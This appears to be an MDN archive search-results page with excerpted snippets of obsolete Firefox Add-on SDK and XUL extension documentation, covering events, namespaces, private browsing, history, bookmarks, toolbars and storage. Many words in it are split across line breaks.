the add-on sdk supports event-driven programming. objects emit events on state changes that might be of interest to add-on code, such as browser windows opening, pages loading, network requests completing, and mouse clicks. by registering a listener function to an event emitter an add-on can receive notifications of these events. we talk about content scr
ipts in more detail in the working with content scr
ipts guide. additionally, if you're using content scr
ipts to interact with web content, you can define your own events and use them to communicate between the main add-on code and the content scr
ipts. in this case one end of the conversation emits the events, and the other end listens to them. so there are two main ways you will interact with the eventemitter framework: listening ...
... adding listeners you can add a listener to an event emitter by calling its on(type, listener) method. it takes two parameters: type: the type of event we are interested in, identified by a string. ...
... adding listeners you can add a listener to an event emitter by calling its on(type, listener) method. ...
Guides - Archive of obsolete content
code, opening/taking a bug, filing a patch, getting reviews, and getting help. modules learn about the module system used by the sdk (which is based on the commonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish. classes and inheritance learn how classes and inheritance can be implemented in javascr
ipt, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this. private properties learn how private properties can be implemented in javascr
ipt using prefixes, closures, and weakmaps, and how the sdk supports private properties by using namespaces (which are a generalization of weakmaps). content processes the sdk was designed to work in an envi...
...totypes, and about the helper functions provided by the sdk to simplify this. private properties learn how private properties can be implemented in javascr
ipt using prefixes, closures, and weakmaps, and how the sdk supports private properties by using namespaces (which are a generalization of weakmaps). content processes the sdk was designed to work in an environment where the code to man
ipulate web content runs in a different process from the main add-on code. this article highlights the main features of that design. testing the add-on sdk learn how to run the add-on sdk test suites. sdk infrastructure module structure of the sdk the sdk, and add-ons built using it, are of composed from reusable javascr
ipt modules. this explains what these modules are, how to load modu...
...program id is a unique identifier for your add-on. this guide explains how it's created, what it's used for and how to define your own. firefox compatibility working out which firefox releases a given sdk release is compatible with, and dealing with compatibility problems. sdk idioms working with events write event-driven code using the the sdk's event emitting framework. content scr
ipts guide an overview of content scr
ipts, including: what they are, what they can do, how to load them, how to communicate with them. two types of scr
ipts this article explains the differences between the apis available to your main add-on code and those available to content scr
ipts. xul migration xul migration guide techniques to help port a xul add-on to the sdk. xul versus th...
private-browsing - Archive of obsolete content
the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belong to private browser windows the page-mod module will not attach content scr
ipts to documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows add-ons that have opted in will see private windows, so they will need to use the private-browsing module to check whether objects are private, so as to avoid st...
...les.push(tab.title); } else { console.log("not storing, private data"); } }); here's an add-on that uses a page-mod to log the content of pages loaded by the user, unless the page is private. ...
...ng"); var loggingscr
ipt = "self.port.on('log-content', function() {" + " console.log(document.body.innerhtml);" + "});"; function logpublicpagecontent(worker) { if (privatebrowsing.isprivate(worker)) { console.log("private window, doing nothing"); } else { worker.port.emit("log-content"); } } pagemod.pagemod({ include: "*", contentscr
ipt: loggingscr
ipt, onattach: logpublicpagecontent }); tracking private-browsing exit sometimes it can be useful to cache some data from private windows while they are open, as long as you don't store it after the private browsing windows have been closed. for example, the "downloads" window might want to display all downloads while there are still some private windows open, then clean out all t...
High-Level APIs - Archive of obsolete content
t high-level apis for building add-ons: creating user interfaces, interacting with the web, and interacting with the browser. unless the documentation explicitly says otherwise, all these modules are "stable": we'll avoid making incompatible changes to them. addon-page create a page that does not contain navigational elements. base64 data encoding and decoding using base64 algorithms. cl
ipboard interact with the system cl
ipboard, setting and getting its contents. context-menu adds items, submenus, and menu separators to the page's context menu. hotkeys assign hotkey combinations to functions in your add-on. indexed-db exposes the indexeddb api to add-ons. l10n localize strings appearing in the add-on's javascr
ipt code. notifications display transient, toaster-style deskt...
...setting and getting its contents. context-menu adds items, submenus, and menu separators to the page's context menu. hotkeys assign hotkey combinations to functions in your add-on. indexed-db exposes the indexeddb api to add-ons. l10n localize strings appearing in the add-on's javascr
ipt code. notifications display transient, toaster-style desktop messages to the user. page-mod run scr
ipts in the context of web pages whose url matches a given pattern. page-worker create a permanent, invisible page and access its dom. panel creates transient dialogs to implement part of an add-on's user interface. passwords interact with firefox's password manager to add, retrieve and remove stored credentials. private-browsing check whether a given object is private, so an add-on can resp...
...requests. selection get and set text and html selections in the current web page. self access data that is bundled with the add-on, and add-on metadata. simple-prefs store preferences across application restarts. simple-storage lets an add-on store data so that it's retained across firefox restarts. system query the add-on's environment and access arguments passed to it. tabs open, man
ipulate, and access tabs, and receive tab events. timers set one-off and periodic timers. ui provides access to button, toolbar, and sidebar ui objects. url construct, validate, and parse urls. widget create a simple user interface for an add-on in firefox's add-on bar. windows enumerate and examine open browser windows, open new windows, and listen for window events. ...
core/namespace - Archive of obsolete content
provides an api for creating namespaces for objects, which effectively may be used for creating fields that are not part of objects public api. let { ns } = require('sdk/core/namespace'); let anamespace = ns(); anamespace(publicapi).secret = secret; one namespace may be used with mult
iple objects: let { ns } = require('sdk/core/namespace'); let dom = ns(); function view(element) { let view = object.create(view.prototype); dom(view).element = element; // .... ...
...mult
iple objects: let { ns } = require('sdk/core/namespace'); let dom = ns(); function view(element) { let view = object.create(view.prototype); dom(view).element = element; // .... } view.prototype.destroy = function destroy() { let { element } = dom(this); element.parentnode.removechild(element); // ... }; // ... exports.view = view; // ... also, mult
iple namespaces can be used with one object: // ./widget.js let { cu } = require('chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note this is completely independent from view's internal namespace object. ...
... }; // ... exports.view = view; // ... also, mult
iple namespaces can be used with one object: // ./widget.js let { cu } = require('chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note this is completely independent from view's internal namespace object. let sandboxes = ns(); function widget(options) { let { element, contentscr
ipt } = options; let widget = object.create(widget.prototype); view.call(widget, options.element); sandboxes(widget).sandbox = cu.sandbox(element.ownerdocument.defaultview); // ... } widget.prototype = object.create(view.prototype); widget.prototype.postmessage = function postmessage(message) { let { sandbox } = sandboxes(this); sandbox.postmessage(json.stringify(json.p...
lang/type - Archive of obsolete content
e or sandbox. let { instanceof } = require('sdk/lang/type'); instanceof(new class(), class); // true function class() {} parameters value : object the variable to check. type : object the constructor to compare to value returns boolean : boolean indicating if value is an instance of type. ...
...s an instance of type. source(value, indent, limit) returns the textual representation of value, containing property descr
iptors and types of properties contained within the object. ...
... indent : string optional. string to be used as indentation in output. 4 spaces by default. limit : number optional. number of properties to display per object. ...
places/history - Archive of obsolete content
tcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with 'javascr
ipt' in the url or title. // we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascr
ipt' { query: "javascr
ipt", from: lastweek }], // we want to order chronologically by visit d...
...each query option can take several properties, which are and'd together to make one complete query. for additional queries within the query, passing more query options in will or the total results. ...
... determine overall settings, like sorting and how many objects should be returned. parameters queries : object|array an object representing a query, or an array of objects representing queries. each query object can take several properties, which are queried against the history database. each property is and'd together, meaning that bookmarks must match each property within a query object. mult
iple query objects are then or'd together. options : object optional options: name type count number the number of bookmark items to return. if left undefined, no limit is set. sort string a string specifying how the results should be sorted. possible options are 'title', 'date', 'url', 'visitcount', 'keyword', 'dateadded' and 'last...
ui/button/action - Archive of obsolete content
for example, in the screenshots above, firefox uses the small icon when the button is in the toolbar and the large icon when the button is in the menu panel. read more about spe...
... togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying mult
iple icons you can specify just one icon, or mult
iple icons in different sizes. if you specify mult
iple icons, firefox will select the best-fitting icon based on the device screen resolution and the place the icon appears. for example, in the screenshots above, firefox uses the small icon when the button is in the toolbar and the large icon when the button is in the menu panel. read more about specifying icons in the reference documentation for t...
...ionbutton(options) creates an action button. parameters options : object required options: name type id string the button's id. this is used internally to keep track of this button. the id must be unique within your add-on. label string the button's human-readable label. when the button is in the toolbar, this appears in a toolt
ip, and when the button is in the menu, it appears underneath the button as a legend. icon url, string, object one or more icons for the button. you can specify this in one of three ways: as a resource:// url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.url(iconfile) as a relative path: a string in the form...
ui/toolbar - Archive of obsolete content
like a panel, a toolbar's content is specified using html. unlike a panel, a toolbar: does not overlap with any web content is persistent, remaining visible until the user chooses to close it is a fixed size, and appears in a fixed location usage creating and destroying toolbars you don't specify toolbar content directly: instead, you create other ui components and supply them to the toolbar constructor. ...
...ks toolbar. hidden state persists even over create/destroy cycles: if a toolbar is created, then hidden, then destroyed, and another toolbar with the same title is then created, the new toolbar will be in the hidden state. toolbar events toolbars get attach and detach events when their content is loaded and unloaded, and show and hide events when the uses shows or hides them. working with mult
iple browser windows there's only a single toolbar for all browser windows, so operations like show and hide work across all browser windows. if you need to customize content for a particular browser window, you can do that by messaging the window-specific frame hosted by that toolbar. globals constructors toolbar(options) creates a toolbar. the only mandatory option is title, but for the toolb...
... items array adding buttons to toolbars is only supported from firefox 30 onwards. in firefox 29, you can only add frames. an array of items to appear in the toolbar. each item in items must be an action button, a toggle button, or a frame instance. buttons each take up a fixed width. if more than one frame is supplied here, the frames each occupy an equal vertical str
ip of the toolbar. hidden boolean boolean indicating whether the frame should be hidden initially or not. defaults to false. onattach function assign a listener to the attach event. ondetach function assign a listener to the detach event. onshow function assign a listener to the show event. o...
Low-Level APIs - Archive of obsolete content
ich in turn gives it access to a large set of privileged low-level firefox apis. console/plain-text constructor for a console instance. console/traceback functionality similar to python's traceback module. content/content re-exports three objects from three other modules: loader, worker, and symbiont. content/loader provides one of the building blocks for those modules that use content scr
ipts to interact with web content, such as panel and page-mod. content/mod provides functions to modify a page content. content/symbiont used by sdk modules that can load web content and attach content scr
ipts to it. content/worker used in the internal implementation of sdk modules which use content scr
ipts to interact with web content. core/heritage helper functions for inheritance. core/n...
...lesystem with the nodejs path module api. io/byte-streams provides streams for reading and writing bytes. io/file provides access to the local filesystem. io/text-streams provides streams for reading and writing text. lang/functional functional helper methods. lang/type functions for working with type detection. loader/cuddlefish the sdk's module loader. loader/sandbox create javascr
ipt sandboxes and execute scr
ipts in them. net/url enables you to read content from a uri. net/xhr provides access to xmlhttprequest functionality. places/bookmarks create, modify, and retrieve bookmarks. places/favicon helper functions for working with favicons. places/history access the user's browsing history. platform/xpcom implement xpcom objects, factories, and services. p...
...xecution. test/httpd an http server for the mozilla platform, which can be used in unit tests. test/runner sets up unit tests. test/utils helper methods used in the commonjs unit testing suite. ui/button/action add a button to the firefox user interface. ui/button/toggle add a toggle button to the firefox user interface. ui/frame create html iframes, using bundled html, css and javascr
ipt, that can be added to a designated area of the firefox user interface. ui/id create ui component ids. ui/sidebar enables you to create sidebars. ui/toolbar add a toolbar to the firefox user interface. util/array helper functions for working with arrays. util/collection a simple list-like class and utilities for using it. util/deprecate functions to deprecate code. util/list buildin...
Open a Web Page - Archive of obsolete content
ss a callback function into open(). the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab. ...
...erty, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab. to access tab content you need to attach a scr
ipt to the tab using tab.attach(). ...
...tion onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab. to access tab content you need to attach a scr
ipt to the tab using tab.attach(). this add-on loads a page, then attaches a scr
ipt to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscr
ipt }); function runscr
ipt(tab) { tab.attach({ contentscr
ipt: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference. to learn more about running scr
ipts in tabs, see the tutorial on using tab.attach(). ...
Tutorials - Archive of obsolete content
ome pointers for fixing common problems and getting more help. getting started walkthrough of creating a simple add-on with the sdk, using jpm. create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. add a menu item to firefox add items to firefox's main menus. display a popup display a popup dialog implemented with html and javascr
ipt. add a context menu item add items to firefox's context menu. interact with the browser open a web page open a web page in a new browser tab or window using the tabs module, and access its content. listen for page load use the tabs module to get notified when new web pages are loaded, and access their content. get the list of open tabs use the tabs module to iterate thr...
...tabs module to get notified when new web pages are loaded, and access their content. get the list of open tabs use the tabs module to iterate through the currently open tabs, and access their content. modify web pages modify web pages based on url create filters for web pages based on their url: whenever a web page whose url matches the filter is loaded, execute a specified scr
ipt in it. modify the active web page dynamically load a scr
ipt into the currently active web page. development techniques logging log messages to the console for diagnostic purposes. creating reusable modules structure your add-on in separate modules to make it easier to develop, debug, and maintain. create reusable packages containing your modules, so other add-on developers...
...mponents object, enabling your add-on to load and use any xpcom object. creating event targets enable the objects you define to emit their own events. listen for load and unload get notifications when your add-on is loaded or unloaded by firefox, and pass arguments into your add-on from the command line. using third-party modules (jpm) install and use additional modules which don't sh
ip with the sdk itself. localization writing localizable code. mobile development develop add-ons for firefox mobile on android. add-on debugger debug your add-on's javascr
ipt. putting it together annotator add-on a walkthrough of a relatively complex add-on. ...
Bookmarks - Archive of obsolete content
the documentation for the...
...ksservice.getbookmarkstoolbarfolder(), // bookmark folder 0); // index in the folder firefox 3 firefox 3 provides a reworked set of api for working with history and bookmarks. the documentation for the new api is available at places. the places bookmarks service, provided by the nsinavbookmarksservice interface, provides methods for creating, deleting, and man
ipulating bookmarks and bookmark folders. this article offers examples for how to perform common bookmark management tasks using the bookmarks service. initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] ...
...components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var bookmarksarray = bmsvc.getbookmarkidsforuri(uri, {}); after executing this code, the array bookmarksarray contains the ids of all bookmarks that refer to the specified uri (in this case, "http://google.com"). man
ipulating existing items there are a number of convenient methods you can use to make changes to existing bookmarks and bookmark folders. this section covers some of them. the item title to change the title of a bookmark or bookmark folder, you use the nsinavbookmarksservice.setitemtitle() method. bmsvc.setitemtitle(newbkmkid, "new title"); this sets the title of the item referenced by the id ...
IsDefaultNamespace - Archive of obsolete content
note that all gecko-based browsers (including firefox) support node.isdefaultnamespace. this function is not necessary for gecko-based browsers (though the function will quickly return the standard value for mozilla browsers). ...
... if (node.attributes.length) { for (var i=0; i < node.attributes.length; i++) { var att = node.attributes[i]; if (att.localname === 'xmlns') { return att.value === namespaceuri; } } } if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown; } case 9: // document_node return isdefaultnamespace(node.documentelement, namespaceuri); case 6: // entity_node case 12: // notation_node case 10: // document_type_node ...
... document_fragment_node return false; // unknown case 2: // attribute_node: if (node.ownerelement ) { return isdefaultnamespace(node.ownerelement , namespaceuri); } else { return false; // unknown } default: if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown } } } ...
LookupPrefix - Archive of obsolete content
ich should work cross-browser. note that all gecko-based browsers (including firefox) support node.lookupprefix. this function is not necessary for gecko-based browsers when used in xhtml. ...
...6: // node.entity_node case 12: // node.notation_node case 11: // node.document_fragment_node case 10: // node.document_type_node return null; // type is unknown case 2: // node.attribute_node if (node.ownerelement) { return _lookupnamespaceprefix(namespaceuri, node.ownerelement); } return null; default: if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return _lookupnamespaceprefix(namespaceuri, node.parentnode); } return null; } } // private function for lookupprefix only function _lookupnamespaceprefix (namespaceuri, originalelement) { var xmlnspattern = /^xmlns:(.*)$/; if (originalelement.namespaceuri && originalelement.namespaceuri === namespaceuri && originalelement.prefix && originalelement.lookupnamespac...
...me if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = localname.substr(att.name.indexof(':')+1); } if ( xmlnspattern.test(att.name) && att.value === namespaceuri && lookupnamespaceuri(originalelement, localname) === namespaceuri ) { return localname; } } } if (originalelement.parentnode) { // entityreferences may have to be sk
ipped to get to it return _lookupnamespaceprefix(namespaceuri, originalelement.parentnode); } return null; } ...
On page load - Archive of obsolete content
if you need finer control over custom code execution--for example, as documents are loading or when tabs are switched--see progress listeners. progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. progress listeners implement the nsiwebprogresslistener interface. ...
...verlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator from seamonkey chrome://navigator/content/navigator.xul attaching a scr
ipt attach a scr
ipt to your overlay (see "attaching a scr
ipt to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var appconte...
...: function(aevent) { var doc = aevent.originaltarget; // doc is document that triggered the event var win = doc.defaultview; // win is the window for the doc // test desired conditions and do something // if (doc.nodename != "#document") return; // only documents // if (win != win.top) return; //only top window. // if (win.frameelement) return; // sk
ip iframes/frames alert("page is loaded \n" +doc.location.href); } } window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); references if you need to have a more complicated listener (not just onload), use progress listeners. see also domcontentloaded even...
SVG General - Archive of obsolete content
on this page you will find some simple, general information on svg markup. hopefully, enough to get you creating some svg images. you will also find some general purpose scr
ipting helpers, that should make scr
ipting svg a little easier. svg template here is a basic markup template to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents. the tutorial and authoring guidelines have more information. dynamic scr
ipting helper this little helper scr
ipt can be used to simplify creation of svg elements in scr
ipt. svg requires you to use setattributens to add attributes to a newly created svg dom element. no properties like html. svg image also requires the us...
.... dynamic scr
ipting helper this little helper scr
ipt can be used to simplify creation of svg elements in scr
ipt. svg requires you to use setattributens to add attributes to a newly created svg dom element. no properties like html. svg image also requires the use of xlink for the href attribute, which can be tricky to remember, especially when you're mixing svg with html or xul. ...
...here are some examples of using it: var circle = makesvg("circle", {id: "circle1", cx: "60", cy: "60", r: "50"}); var img = makesvg("image", {id: "img1", x: "110", y: "110", width: "100", height: "100", svghref: "bubbles.png"}); var text = makesvg("text", {id: "text1", x: "60", y: "60"}); text.textcontent = "hello world"; ...
Windows - Archive of obsolete content
opening new browser windows to open a new browser window, you can simply use window.open(). however, window.open() returns a window object for content, not for the browser window itself, so you should get the chrome window first. the simplest way to do that is to use nsiwindowmediator. ...
...additionally, if the window is in the background, it may not be brought to the front. this code will check for a window of ...
...", mousedown, false); window.addeventlistener("mouseup", mouseup, false); window.addeventlistener("mousemove", mousemove, false); xul titlebar element xul applications can take advantage of the titlebar element to achieve a similar result without extra javascr
ipt code. re-using and focusing named windows while specifying the name parameter to window.open or window.opendialog will prevent mult
iple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in. additionally, if the window is in the background, it may not be brought to the front. this code will check for a window of the provided name. if it finds one, it focuses it. if it doesn't, it opens one. var wenum = components.classes["@mozilla.org/embedcomp/w...
xml:base support in old browsers - Archive of obsolete content
if there is no protocol // tests for 'scheme' per http://www.ietf.org/rfc/rfc2396.txt' xmlbase = getxmlbase (thisitem); if (!xmlbase.match(/\/$/) && !xlink.match(/\/$/)) { // if no preceding slash on xlink or trailing slash on xml:base, add one in between xmlbase += '/'; } else if (xmlbase.match(/\/$/) && xlink.match(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // str
ip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute url, it should be from the host only link = loc.protocol + '//' + loc.ho...
...al name up in the hierarchy (until the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { att = thisitem.getattribute('xml:base'); // xml: namespaces must use 'xml' prefix if (att) { protocolpos = att.indexof('//'); var protocolmatch = att.match(scheme); if (protocolmatch) { // if has protocol, can stop if (abs) { var sk
ipfile = (att.indexof('///') === protocolpos) ? 3 : 2; // if the file protocol has an extra slashe, prepare to also sk
ip it in the separator search var att2 = att.indexof('/', protocolpos+sk
ipfile); // find first path separator ('/') after protocol if (att2 !== -1) { att = att.substring(0, att2 - 1); // don't want any trailing slash, as the absolute path to be added already has one ...
...null : xmlbase; return xmlbase; } ...
Custom about: URLs - Archive of obsolete content
the signature of the newchannel method changed. this change is reflected in the code below. this code will work for all versions of firefox 4 and up. ...
... you generate a unique id from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when navigate to about:myaboutpage'; // const aboutpage_uri = 'chrome://myaboutaddon/content/index.html'; class aboutpage { static get classid() { return components.id(`{${aboutpage_id}}`); } static get classdescr
iption() { return aboutpage_descr
iption; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_word}`; } static get queryinterface() { return xpcomutils.generateqi([ci.nsiaboutmodule]); } constructor() { object.freeze(this); } geturiflags(auri) { return ci.nsiaboutmodule.allow_scr
ipt; } newchannel(auri, asecurity_or_aloadinfo) { let c...
... factory = new facto...
Appendix A: Add-on Performance - Archive of obsolete content
ing several add-ons will do. luckily, minimizing your startup time is easy, if you follow these guidelines: do not load or run code before it's needed. add-ons can have extra features that are only available depending on user preferences. other add-ons have most of their features depend on a user being logged in to a service. don't load at startup something you won't need at the time. javascr
ipt code modules. use them. jsm provide the cleanest way to separate js into modules that can be loaded on request, unlike chrome scr
ipts which are generally loaded with the overlay at startup. keep as much of your code in jsm, make it as modular as you can, and only load modules as you require them. if your add-on is too simple for jsm, don't worry about it. there's still one more thing you can do.
...tartup wiki page includes a relatively simple test you can use to compare a clean firefox profile vs that profile with your add-on installed. page loads this is another critical route that many add-ons tap into. the intercepting page loads section details several techniques to do this, and you should read all of them carefully to figure out which one you need. some of these events are fired mult
iple times during a single page load, and having inefficient code in the event handlers can cause a noticeable delay that users may have hard time figuring out. look at the source samples in the article and notice how they mostly consist of nested if statements. this is what you should do first to make sure that you filter out all cases that don't interest you so that your add-on doesn't slow down ...
...on't interest you so that your add-on doesn't slow down other requests. a very common filter is the url of the page, since most add-ons are limited to one or a few domains. use regular expressions if you need to. make sure your comparison code is as efficient as possible. finally, make sure all of your page load code is as efficient as possible. this can be tricky for some add-ons, like ad or scr
ipt blockers that need to check a whitelist or blacklist. nevertheless, loading pages is pretty important in firefox, and users expect it to be fast. try your best to keep it that way. other recommendations always clean up after yourself. event listeners, observers and other handlers normally have both an add and a remove function. don't forget to remove what you don't need anymore! even if you ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
unfortunately, adding listeners for any of these events to a document has a highly deleterious effect on performance, an effect which is not mitigated in the slightest by later removing those listeners. for this reason, it is best to avoid using mutation listeners at all costs, especially from extensions. this document lays out some alternatives which do not have such severe performance impacts. ...
..., including web progress listeners, http observers, and content policies. while these are not exceptionally efficient (they run for every http request, and considerably more often for some methods), they work very well for certain applications pure css pure css can be more powerful than most people suspect. it is often possible to do things for which people have traditionally resorted to javascr
ipt with css alone. in particular, the ::before and ::after pseudo-elements, and pseudo-classes like :hover and :active can be used to achieve extremely complex dynamic behavior. late binding and event delegation often times, it suffices to bind event listeners to top-level elements and check for matching elements when the event fires. for instance, rather than watching for the creation of <a> ele...
... watchnodes = function watchnodes(selector, callback, doc) { const event = watchnodes.prefix + (watchnodes._i++); const xhtml = 'http://www.w3.org/1999/xhtml'; doc = doc || document; let style = doc.createelementns(xhtml, 'style'); style.setattribute('type', 'text/css'); let preamble = ' @-moz-keyframes ' + event + ' { \n\ from { cl
ip: rect(1px, auto, auto, auto); } to { cl
ip: rect(0px, auto, auto, auto); } \n\ }\n'; let properties = [ 'animation-duration: 0.0001s;', 'animation-name: ' + event + ' !important;' ]; properties = properties.map(function (prop) ' ' + watchnodes.namespace + prop) .join('\n'); doc.addeventlistener...
Local Storage - Archive of obsolete content
request error data from your users when you encounter problems that are hard to debug. we'll discuss logging in this section, but first let's look at the right (or at least, common and scalable) way of managing local files. it is strongly recommended that you keep your local files inside the firefox profile directory. otherwise you may run into problems if the same extension is installed in mult
iple profiles. the common practice is to create a directory with the name of your project at the root of the profile folder, and keep your files inside. the structure could be something like this: s435l.default (your profile directory) xulschool log.txt somedbfile.sqlite the directory service and the nsifile interface are used to create the local directory. he...
...ol log.txt somedbfile.sqlite the directory service and the nsifile interface are used to create the local directory. here's what we usually do: we have a function that returns a reference to our root directory and creates it if necessary. getlocaldirectory : function() { let directoryservice = cc["@mozilla.org/file/directory_service;1"]. getservice(ci.ns
iproperties); // this is a reference to the profile dir (profd) now. let localdir = directoryservice.get("profd", ci.nsifile); localdir.append("xulschool"); if (!localdir.exists() || !localdir.isdirectory()) { // read and write permissions to owner and group, read-only for others. localdir.create(ci.nsifile.directory_type, 0774); } return localdir; }, profd is a special iden...
...l library has an uninstall event you can use to perform these operations. logging good logging is essential in all kinds of software projects. any extension that is more complex than a hello world needs some way to log errors and trace execution without having to fire up a debugger. it used to be the case that custom logging solutions were necessary, but mozilla labs have come up with a javascr
ipt implementation of a logger similar to the log4j logger used in java projects. the logger is called log4moz and it is implemented as a javascr
ipt code module, so it only works on firefox 3 and above. to use this logger, you need to copy the log4moz.js file to your modules directory. in the initialization method of your one of your "common" or startup objects, add the following code: let formatt...
XUL School Tutorial - Archive of obsolete content
omprehensive add-on development tutorial, focusing on firefox extension development. it is recommended that you read through all of it at least once. while firefox changes rapidly, the content in this tutorial should be up to date and valid. ...
...the project is now published here following its sharing licenses. its contents have been modified from the original source as necessary. ...
...the project is now published here following its sharing licenses. its contents have been modified from the original source as necessary. ...
Extensions support in SeaMonkey 2 - Archive of obsolete content
t/-style extensions. these type of extensions have many advantages for both users and developers compared to the old xpinstall/-style extensions. the basics to support seamonkey 2 as a target application, you need to add it to the list of target applications in the extension's install.rdf file. the code for that will look something like this: <em:targetapplication> <!-- seamonkey --> <descr
iption> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </descr
iption> </em:targetapplication> the install.js is not supported any more and should be removed. differences as compared to other toolkit/-based applications you need to overlay/open different chrome urls as compared to firefox. some urls are...
...these are so commonly available that developers often forget that they are not built-ins. seamonkey on the other hand defaults to not support them so they either need to be expanded to their proper forms or matching constants/variables need to be defined in custom code. shorthand expansion cc components.classes ...
...stom code. shorthand expansion cc components.classes ci components.interfaces cr components.results cu components.utils multi-browser compatibility to make an extension compatible with seamonkey as well as firefox/thunderbird, you may need to do different things depending on which application is running the extension. ...
Updating addons broken by private browsing changes - Archive of obsolete content
u are having trouble updating it. ...
...these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feature in firefox 20 (and will require updating to work correctly in releases of firefox since the ones listed). idls nsitransferable: see using the cl
ipboard for information about the new init method. imgicache: this must no longer be obtained as a service. see the imgicache article for more information. moziasyncfavicons/nsifaviconservice: setandfetchfaviconforpage/setandloadfaviconforpage now take a required privacy status argument, either nsifaviconservice.favicon_load_private or nsifaviconservice.favicon_load_non_private. nsiwebbrows...
...supportscstring subject for the guid or null. nsihttpauthmanager: setauthidentity and getauthidentity now take an optional boolean parameter to indicate whether the identity is classified as private. nsistricttransportsecurityservice: processstsheader, removestsstate, isstshost, and isstsuri now take a flags parameter that understands nsisocketprovider.no_permanent_storage or nothing. ns
iprivatebrowsingservice: this service is deprecated, and as of firefox 20 it is now an empty interface. if your code depends on this interface, it will break. the global private browsing service is actively being removed, and may not even exist as of firefox 21. nsirecentbadcertsservice: this is no longer a global service, and has been renamed to nsirecentbadcerts. to obtain this, acquire the nsix5...
Add-ons - Archive of obsolete content
archived add-ons documentation. add-on sdk using the add-on sdk, you can create firefox add-ons. you can use various standard web technologies: javascr
ipt, html, and css, to create the add-ons. the sdk includes javascr
ipt apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons. bookmarks.export() exports bookmarks to an html bookmark file. bookmarks.import() imports bookmarks from an html bookmark file. bootstrapped extensions browser.bookmarks.export( function() {...} // optional function ) code sn
ippets ... creating custom firefox extensions with the mozilla build system there is a wealth of material on creating extensions for firefox. all of these documents currently assume, however, that you are developing your extension us...
...for complex extensions, it may be necessary to create components in c++ that provide additional functionality. extension etiquette this article describes best practices when making extensions, including how to be kind to your users. ...
...pproved on mozilla add-ons. other items are recommendations. the difference will be clearly flagged. setting up an extension development environment this article provides suggestions for how to set up your mozilla application for extension development. these details apply to firefox, thunderbird, and seamonkey (version 2.0 and above). tabbed browser here you should find a set of useful code sn
ippets to help you work with firefox's tabbed browser. the comments normally mark where you should be inserting your own code. techniques ... ...
Creating reusable content with CSS and XBL - Archive of obsolete content
http, so this technique is only useful for local content accessed using the file:/// scheme, or from add-on code. you apply this technique in a simple demonstration. information: xbl bindings the structure provided by markup languages and css is not ideal for complex applications where parts need to be self-contained and reusable. you can place stylesheets in separate files, and you can place scr
